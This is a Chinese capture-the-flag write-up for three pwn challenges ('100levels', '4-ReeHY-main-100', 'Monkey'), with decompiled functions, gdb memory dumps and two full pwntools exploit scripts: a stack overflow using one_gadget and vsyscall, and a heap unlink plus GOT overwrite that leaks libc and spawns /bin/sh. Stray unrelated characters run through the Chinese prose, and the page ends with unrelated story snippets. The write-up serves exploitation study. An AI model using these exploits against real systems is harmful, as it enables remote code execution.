.text:0000000000000B94 ; __unwind {
.text:0000000000000B94                 push    rbp
.text:0000000000000B95                 mov     rbp, rsp
.text:0000000000000B98                 sub     rsp, 120h
.text:0000000000000B9F                 lea     rdi, aHowManyLevels ; "How many levels?"
.text:0000000000000BA6                 call    _puts
.text:0000000000000BAB                 call    get_input
.text:0000000000000BB0                 mov     [rbp+var_120], rax
.text:0000000000000BB7                 mov     rax, [rbp+var_120]
.text:0000000000000BBE                 test    rax, rax
.text:0000000000000BC1                 jg      short loc_BD1
.text:0000000000000BC3                 lea     rdi, aCoward    ; "Coward"
.text:0000000000000BCA                 call    _puts
.text:0000000000000BCF                 jmp     short loc_BDF
.text:0000000000000BD1 ; ---------------------------------------------------------------------------
.text:0000000000000BD1
.text:0000000000000BD1 loc_BD1:                                ; CODE XREF: go+2D↑j
.text:0000000000000BD1                 mov     rax, [rbp+var_120]
.text:0000000000000BD8                 mov     [rbp+var_110], rax
.text:0000000000000BDF
.text:0000000000000BDF loc_BDF:                                ; CODE XREF: go+3B↑j
.text:0000000000000BDF                 lea     rdi, aAnyMore   ; "Any more?"
.text:0000000000000BE6                 call    _puts
.text:0000000000000BEB                 call    get_input
.text:0000000000000BF0                 mov     [rbp+var_120], rax
.text:0000000000000BF7                 mov     rdx, [rbp+var_110]
.text:0000000000000BFE                 mov     rax, [rbp+var_120]
.text:0000000000000C05                 add     rax, rdx
.text:0000000000000C08                 mov     [rbp+var_110], rax
.text:0000000000000C0F                 mov     rax, [rbp+var_110]
.text:0000000000000C16                 test    rax, rax
.text:0000000000000C19                 jg      short loc_C2C
.text:0000000000000C1B                 lea     rdi, aCowardCowardCo ; "Coward Coward Coward Coward Coward"
.text:0000000000000C22   n              call    _puts
.text:0000000000000C27                 jmp     locret_D04
.text:0000000000000C2C ; ---------------------------------------------------------------------------
.text:0000000000000C2C
.text:0000000000000C2C loc_C2C:                                ; CODE XREF: go+85↑j
.text:0000000000000C2C                 mov     rax, [rbp+var_110]
.text:0000000000000C33                 cmp     rax, 63h
.text:0000000000000C37                 jle     short loc_C52
.text:0000000000000C39                 lea     rdi, aYouAreBeingARe ; "You are being a real man."
.text:0000000000000C40                 call    _puts
.text:0000000000000C45                 mov     [rbp+var_108], 64h
.text:0000000000000C50                 jmp     short loc_C60
.text:0000000000000C52 ; ---------------------------------------------------------------------------

? 可以看到輸入的 level 和 anymore 的值色瘩,相加后輸入了[rbp+var_110]的位置,這個位置在hint函數(shù)中存儲的是 system 函數(shù)的地址逸寓,而且根據(jù)程序邏輯:

int go()
{
  int v1; // ST0C_4
  __int64 v2; // [rsp+0h] [rbp-120h]
  __int64 v3; // [rsp+0h] [rbp-120h]
  int v4; // [rsp+8h] [rbp-118h]
  __int64 v5; // [rsp+10h] [rbp-110h]
  signed __int64 v6; // [rsp+10h] [rbp-110h]
  signed __int64 v7; // [rsp+18h] [rbp-108h]
  __int64 v8; // [rsp+20h] [rbp-100h]

  puts("How many levels?");
  v2 = get_input("How many levels?");
  if ( v2 > 0 )  // 這里可以看到當我們輸入的值不大于0的時候居兆,不會覆蓋 [rbp+var_110] 處system函數(shù)的地址
    v5 = v2;
  else
    puts("Coward");
  puts("Any more?");
  v3 = get_input("Any more?");
  v6 = v5 + v3;
  if ( v6 > 0 )
  {
    if ( v6 <= 99 )
    {
      v7 = v6;
    }
    else
    {
      puts("You are being a real man.");
      v7 = 100LL;
    }
    puts("Let's go!'");
    v4 = time(0LL);
    if ( (unsigned int)question(v7) != 0 )
    {
      v1 = time(0LL);
      sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3);
      puts((const char *)&v8);
    }
    else
    {
      puts("You failed.");
    }
    exit(0);
  }
  return puts("Coward Coward Coward Coward Coward");
}

? 由于給了 libc,我們可以讓相加后的值為 one_gadget 的地址竹伸,然后再從 go 函數(shù)進入 question 函數(shù)的時候泥栖,可以控制 rip 的值到 我們修改的位置處執(zhí)行:

_BOOL8 __fastcall question(signed int a1)
{
  int v2; // eax
  __int64 v3; // rax
  __int64 buf; // [rsp+10h] [rbp-30h]
  __int64 v5; // [rsp+18h] [rbp-28h]
  __int64 v6; // [rsp+20h] [rbp-20h]
  __int64 v7; // [rsp+28h] [rbp-18h]
  unsigned int v8; // [rsp+34h] [rbp-Ch]
  unsigned int v9; // [rsp+38h] [rbp-8h]
  unsigned int v10; // [rsp+3Ch] [rbp-4h]

  buf = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  if ( !a1 )
    return 1LL;
  if ( (unsigned int)question((unsigned int)(a1 - 1)) == 0 )
    return 0LL;
  v10 = rand() % a1;
  v2 = rand();
  v9 = v2 % a1;
  v8 = v2 % a1 * v10;
  puts("====================================================");
  printf("Level %d\n", (unsigned int)a1);
  printf("Question: %d * %d = ? Answer:", v10, v9);
  read(0, &buf, 0x400uLL);
  v3 = strtol((const char *)&buf, 0LL, 10);
  return v3 == v8;
}

? 可以看到 buffer 距離 rbp 的距離為 0x30,所以我們只需要構(gòu)造如下棧布局:

"a"*0x30+"b"*8+old_ret+ret+ret
                   | 
                   rbp+120h 處

? 但是由于我們不知道rop的地址勋篓,所以可以使用 vsyscall:

gdb-peda$ x/5i 0xffffffffff600000
   0xffffffffff600000:  mov    rax,0x60
   0xffffffffff600007:  syscall 
   0xffffffffff600009:  ret    
   0xffffffffff60000a:  int3   
   0xffffffffff60000b:  int3

? 最終版的 exp:

#!/usr/bin/env python

from pwn import *

context.log_level = 'debug' 
io = process('./100levels')
io = remote("111.198.29.45", 30742)
one_gadget = 0x4526a
system_offset = 0x45390
ret_addr = 0xffffffffff600000

def go(levels, more):
    io.sendlineafter("Choice:\n", '1')
    io.sendlineafter("levels?\n", str(levels))
    io.sendlineafter("more?\n", str(more))

def hint():
    io.sendlineafter("Choice:\n", '2')

if __name__ == "__main__":
    hint()
    go(0, one_gadget - system_offset)

    for i in range(99):
        io.recvuntil("Question: ")
        a = int(io.recvuntil(" ")[:-1])
        io.recvuntil("* ")
        b = int(io.recvuntil(" ")[:-1])
        io.sendlineafter("Answer:", str(a * b))

    payload  = 'A' * 0x30   # buffer
    payload += 'B' * 0x8    # rbp
    payload += p64(ret_addr) * 3
    io.sendafter("Answer:", payload)
    
    io.interactive()

4-ReeHY-main-100

nevv@ubuntu:~/Desktop$ checksec 4-ReeHY-main 
[*] '/home/nevv/Desktop/4-ReeHY-main'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

? 經(jīng)典菜單題吧享,先看添加函數(shù),dword_6020AC 處存儲分配的chuk譬嚣,最多5個钢颂,輸入大小的時候當大于 0x70 的時候直接復(fù)制到堆上,小于的時候會先復(fù)制到棧上拜银,然后再復(fù)制到堆中殊鞭。

? create 函數(shù):

signed int create()
{
  signed int result; // eax
  char buf; // [rsp+0h] [rbp-90h]
  void *dest; // [rsp+80h] [rbp-10h]
  int v3; // [rsp+88h] [rbp-8h]
  size_t nbytes; // [rsp+8Ch] [rbp-4h]

  result = dword_6020AC;
  if ( dword_6020AC <= 4 )
  {
    puts("Input size");
    result = get_input();
    LODWORD(nbytes) = result; // rax返回值的低2字
    if ( result <= 4096 )
    {
      puts("Input cun");
      result = get_input();
      v3 = result;
      if ( result <= 4 )
      {
        dest = malloc((signed int)nbytes);
        puts("Input content");
        if ( (signed int)nbytes > 0x70 )
        {
          read(0, dest, (unsigned int)nbytes);
        }
        else
        {
          read(0, &buf, (unsigned int)nbytes); 
          memcpy(dest, &buf, (signed int)nbytes);
        }
        *(_DWORD *)(qword_6020C0 + 4LL * v3) = nbytes;
        *((_QWORD *)&unk_6020E0 + 2 * v3) = dest;
        dword_6020E8[4 * v3] = 1;
        ++dword_6020AC;
        result = fflush(stdout);
      }
    }
  }
  return result;
}

? get_input 函數(shù):

__int64 get_input()
{
  char buf; // [rsp+2h] [rbp-Eh]

  read(0, &buf, 10uLL);
  return (unsigned int)atoi(&buf);
}

? edit 函數(shù):

signed int edit()
{
  signed int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  puts("Chose one to edit");
  result = get_input();
  v1 = result;
  if ( result <= 4 )
  {
    result = chunk_inuse[4 * result];
    if ( result == 1 )
    {
      puts("Input the content");
      read(0, *((void **)&chunk_addr + 2 * v1), *(unsigned int *)(4LL * v1 + chunk_size));
      result = puts("Edit success!");
    }
  }
  return result;
}

? show函數(shù)沒什么卵用

? delete 函數(shù):

__int64 delete()
{
  __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Chose one to dele");
  result = get_input();
  v1 = result;
  if ( (signed int)result <= 4 )
  {
    free(*((void **)&chunk_addr + 2 * (signed int)result)); // 這里free后沒有置為空,存在uaf
    chunk_inuse[4 * v1] = 0;
    puts("dele success!");
    result = (unsigned int)(chunk_num-- - 1);
  }
  return result;
}   

利用:

? 經(jīng)過以上簡單分析尼桶,我們注意到在delete函數(shù)中沒有檢測索引是負數(shù)的情況操灿,而且在free后指針沒有置為空,存在UAF疯汁,這是兩個漏洞點可以給利用提供一些思路牲尺。

  • edit函數(shù)中,修改內(nèi)容的時候會到數(shù)組中去取size大小幌蚊,然后根據(jù)之前的size大小修改
  • create函數(shù)中谤碳,大于0x70的時候直接復(fù)制,小于的時候會把數(shù)據(jù)先拷貝到棧上
  • 聯(lián)想到程序的防御機制溢豆,應(yīng)該是想讓我們用got表地址做文章
  • gdb 調(diào)試棧和堆的內(nèi)容如下:
pwndbg> x /30gx 0x603000
0x603000:   0x0000000000000000  0x0000000000000021
0x603010:   0x0000000300000002  0x0000000000000004 // 存儲chunk content大小
0x603020:   0x0000000000000000  0x0000000000000031
0x603030:   0x0000000a656d616e  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000000 // 不知道是什么蜒简,再往后是添加的三個chunk
0x603050:   0x0000000000000000  0x0000000000000021
0x603060:   0x0000000000000a31  0x0000000000000000
0x603070:   0x0000000000000000  0x0000000000000021
0x603080:   0x00000000000a3231  0x0000000000000000
0x603090:   0x0000000000000000  0x0000000000000021
0x6030a0:   0x000000000a333231  0x0000000000000000
0x6030b0:   0x0000000000000000  0x0000000000020f51
0x6030c0:   0x0000000000000000  0x0000000000000000
0x6030d0:   0x0000000000000000  0x0000000000000000
0x6030e0:   0x0000000000000000  0x0000000000000000
pwndbg> x /30gx 0x6020AC
0x6020ac:   0x0000000000000003  0x0000000000000000 // chunk_sum 字段
0x6020bc:   0x0060301000000000  0x0000000000000000 // 存儲指向 chunk content 的指針
0x6020cc:   0x0000000000000000  0x0000000000000000
0x6020dc:   0x0060306000000000  0x0000000100000000 // 存儲三個chunk的地址 以及 inuse 字段
0x6020ec:   0x0060308000000000  0x0000000100000000
0x6020fc:   0x006030a000000000  0x0000000100000000
0x60210c:   0x0000000000000000  0x0000000000000000
0x60211c:   0x0000000000000000  0x0000000000000000
0x60212c:   0x0000000000000000  0x0000000000000000
0x60213c:   0x0000000000000000  0x0000000000000000
0x60214c:   0x0000000000000000  0x0000000000000000
0x60215c:   0x0000000000000000  0x0000000000000000
0x60216c:   0x0000000000000000  0x0000000000000000
0x60217c:   0x0000000000000000  0x0000000000000000
0x60218c:   0x0000000000000000  0x0000000000000000
  • 新建 A B C
  • free content_chunk,新建D(指向的區(qū)域是 content chunk)漩仙,通過修改D修改A chunk的size
  • 修改之前的chunk A搓茬,造成溢出,覆蓋B的pre_size和size字段的標志位
  • 聯(lián)想到題目中有堆地址可以用队他,因此我們可以構(gòu)造 unlink卷仑,修改堆指針指向存儲了堆數(shù)組的之前 0x18 字節(jié)處

但是現(xiàn)在我們依然無法得知system函數(shù)的地址,可以采用如下辦法:

  • 修改三個chunk地址依次為free_got麸折,puts_got锡凝,atoi_got
  • 通過edit chunk A 修改free函數(shù)的got表為puts函數(shù)的plt地址,這里修改有個坑點不能使用sendline垢啼,不然會報錯
  • 修改后使用free(chunk B)窜锯,打印出puts函數(shù)的got表地址张肾,泄漏出libc,修改atoi為sysytem函數(shù)地址
  • 最后使用atoi傳遞bin/sh函數(shù)getshell

exp:

#!/usr/bin/env python

from pwn import *

context.log_level = 'debug' 
# p = process('./4-ReeHY-main')
elf = ELF('./4-ReeHY-main')
p = remote('111.198.29.45', 30999)

p.recv()
p.sendline("hello")

def create(size,cun,content):
    p.recvuntil("$")
    p.sendline("1")
    p.recv()
    p.sendline(str(size))
    p.recv()
    p.sendline(str(cun))
    p.recv()
    p.sendline(content)


def delete(index):
    p.recvuntil("$")
    p.sendline("2")
    p.recv()
    p.sendline(str(index))


def edit(index,content):
    p.recvuntil("$")
    p.sendline("3")
    p.recv()
    p.sendline(str(index))
    p.recv()
    p.sendline(content)

heap_ptr = 0x6020e0

create(0x80,0,"a"*0x80)
create(0x80,1,"a"*0x80)
create(0x80,2,"a"*0x80)

delete(-2)  # free the chunk of saving chunk's size

create(0x10,3,p32(0x80*2)+p32(0x80)+p32(0x80)+p32(0)) 
# malloc and edit the chunk we just free

# --------- prepare to create a fake chunk ---------

payload = p64(0) + p64(0x81) 
# presize and size
payload = payload + p64(heap_ptr-0x18) + p64(heap_ptr-0x10)
# fd and bk to unlink   
payload += (0x80-len(payload)) * "a"

payload += p64(0x80)
payload += p64(0x90)
#  chunk1's fd and bk 
edit(0,payload)

delete(1) # unlink 


edit(0, p64(0)*3 + p64(elf.got['free']) + p64(1) + p64(elf.got["puts"]) + p64(1) + p64(elf.got["atoi"]) + p64(1))

p.recvuntil("$")
p.sendline("3")
p.recv()
p.sendline(str(0))
p.recv()
p.send(p64(elf.plt["puts"]))
# modify free_got to puts()

delete(1)
p.recvuntil("Chose one to dele\n")

puts_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_addr = puts_addr - 0x06f690
system = libc_addr + 0x045390
print hex(puts_addr)

edit(2, p64(system))

p.sendline("/bin/sh;")
# gdb.attach(p)
p.interactive()

Monkey

mozilla 的 js shell
執(zhí)行 os.system('/bin/sh')锚扎,然后 cat flag即可

參考鏈接:

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末吞瞪,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子驾孔,更是在濱河造成了極大的恐慌芍秆,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,277評論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件助币,死亡現(xiàn)場離奇詭異浪听,居然都是意外死亡螟碎,警方通過查閱死者的電腦和手機眉菱,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,689評論 3 393
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來掉分,“玉大人俭缓,你說我怎么就攤上這事∷止” “怎么了华坦?”我有些...
    開封第一講書人閱讀 163,624評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長不从。 經(jīng)常有香客問我惜姐,道長,這世上最難降的妖魔是什么椿息? 我笑而不...
    開封第一講書人閱讀 58,356評論 1 293
  • 正文 為了忘掉前任歹袁,我火速辦了婚禮,結(jié)果婚禮上寝优,老公的妹妹穿的比我還像新娘条舔。我一直安慰自己,他們只是感情好乏矾,可當我...
    茶點故事閱讀 67,402評論 6 392
  • 文/花漫 我一把揭開白布孟抗。 她就那樣靜靜地躺著,像睡著了一般钻心。 火紅的嫁衣襯著肌膚如雪凄硼。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,292評論 1 301
  • 那天捷沸,我揣著相機與錄音摊沉,去河邊找鬼。 笑死亿胸,一個胖子當著我的面吹牛坯钦,可吹牛的內(nèi)容都是我干的预皇。 我是一名探鬼主播,決...
    沈念sama閱讀 40,135評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼婉刀,長吁一口氣:“原來是場噩夢啊……” “哼吟温!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起突颊,我...
    開封第一講書人閱讀 38,992評論 0 275
  • 序言:老撾萬榮一對情侶失蹤鲁豪,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后律秃,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體爬橡,經(jīng)...
    沈念sama閱讀 45,429評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,636評論 3 334
  • 正文 我和宋清朗相戀三年棒动,在試婚紗的時候發(fā)現(xiàn)自己被綠了糙申。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,785評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡船惨,死狀恐怖柜裸,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情粱锐,我是刑警寧澤疙挺,帶...
    沈念sama閱讀 35,492評論 5 345
  • 正文 年R本政府宣布,位于F島的核電站怜浅,受9級特大地震影響铐然,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜恶座,卻給世界環(huán)境...
    茶點故事閱讀 41,092評論 3 328
  • 文/蒙蒙 一搀暑、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧奥裸,春花似錦险掀、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,723評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至侠鳄,卻和暖如春埠啃,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背伟恶。 一陣腳步聲響...
    開封第一講書人閱讀 32,858評論 1 269
  • 我被黑心中介騙來泰國打工碴开, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 47,891評論 2 370
  • 正文 我出身青樓潦牛,卻偏偏與公主長得像眶掌,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子巴碗,可洞房花燭夜當晚...
    茶點故事閱讀 44,713評論 2 354

推薦閱讀更多精彩內(nèi)容

  • 網(wǎng)鼎杯第一場wp guess防護機制:image.png 開啟了canary和NX 簡單的看了下反編譯的邏輯 發(fā)現(xiàn)...
    zs0zrc閱讀 1,985評論 0 4
  • week1 babysc 思路 :shellcode 對應(yīng)(index + 1)異或處理后再執(zhí)行 exp aaaa...
    fantasy_learner閱讀 1,061評論 0 0
  • X-man-A face:這道題是二維碼補圖的題朴爬,用ps將那兩個空的角補全就好了,掃碼可以得到一串base64加密...
    zs0zrc閱讀 920評論 0 0
  • Lua 5.1 參考手冊 by Roberto Ierusalimschy, Luiz Henrique de F...
    蘇黎九歌閱讀 13,791評論 0 38
  • 沉淀在寂寞深處橡淆,不忘記一株花開召噩。 從容在泥濘之間,仍守候一只燕來逸爵。 許下的心愿具滴,落下的往事,隨墨鋪展师倔, 因為不敢构韵,...
    春余清歌閱讀 322評論 0 2